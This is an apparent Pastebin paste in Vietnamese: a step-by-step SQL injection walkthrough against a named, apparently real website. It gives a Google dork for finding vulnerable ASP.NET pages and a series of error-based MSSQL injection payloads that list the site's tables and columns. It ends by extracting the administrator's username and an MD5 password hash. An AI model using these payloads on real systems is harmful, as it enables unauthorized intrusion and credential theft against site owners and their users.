Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Google Dork : inurl:Default.aspx?PageID=
- bước 1:đượng nhiên là phải check link lỗi rùi ( nhưng làm sao??)
- đối với site aspx ,ta chỉ thêm dấu ' cuối đường link ID= và sp= thui
- Victim:http://dichthuattinhanh.com.vn/InfoDetail.aspx?lang=vn&&MaDM=67&MaIF=1217
- ok chúng ta sẽ thêm ' đằng sau 1217 nhé
- ok nó lỗi aspx Unclosed quotation mark after the character string ''.
- và chúng ta sẽ get table nó bằng cách thêm mã này vào
- and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -
- chúng ta phải bỏ ' để bug dc nhé
- ok nó ra nvarchar value 'Member' to data type int.
- table member
- ok tiếp tục truy ra nào :
- and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Member')))-- -
- ra 'Information' vậy mình add đằng sau:
- and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Member','Information')))-- -
- ok cứ thêm cho tới khi nó ra user hay là admin là ok
- vậy là tbale chứa username và password là Admin
- tiếp : chúng ta cần truy vấn tên các columns
- bằng
- and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('Admin') ))-- -
- và chúng ta làm như get table nhé
- and column_name not in ('AdminID')))-- -
- và tiếp tới AdminMail là hết vậy chùng ta get user +pass nó nào
- bằng cách add lệnh này
- and 1=convert(int,(select top 1 AdminId from Admin))-- -
- và user nó là Admin
- tiếp là pass
- and 1=convert(int,(select top 1 AdminPass from Admin))-- -
- efffb721c4a66dad5a94509e58c539cb<=mã MD5
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement